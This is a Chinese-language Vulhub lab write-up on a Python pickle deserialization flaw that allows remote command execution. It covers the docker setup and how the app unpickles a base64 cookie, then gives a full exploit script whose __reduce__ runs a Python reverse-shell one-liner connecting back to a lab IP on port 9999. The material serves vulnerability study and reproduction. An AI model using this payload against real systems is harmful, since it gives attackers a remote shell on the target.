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Python unpickle 造成任意命令执行漏洞

漏洞描述

参考文章：

  • http://rickgray.me/2015/09/12/django-command-execution-analysis.html
  • https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html

环境搭建

Vulhub编译及运行测试环境：

docker-compose build
docker-compose up -d

访问http://your-ip:8000，显示Hello {username}!。

漏洞复现

username是取Cookie变量user，对其进行base64解码+反序列化后还原的对象中的“username”变量，默认为“Guest”，伪代码：pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'。

调用exp.py，监听9999端口，反弹shell：

#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
        return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://192.168.174.128:8000/", cookies=dict(
    user=base64.b64encode(s).decode()
))
print(response.content)

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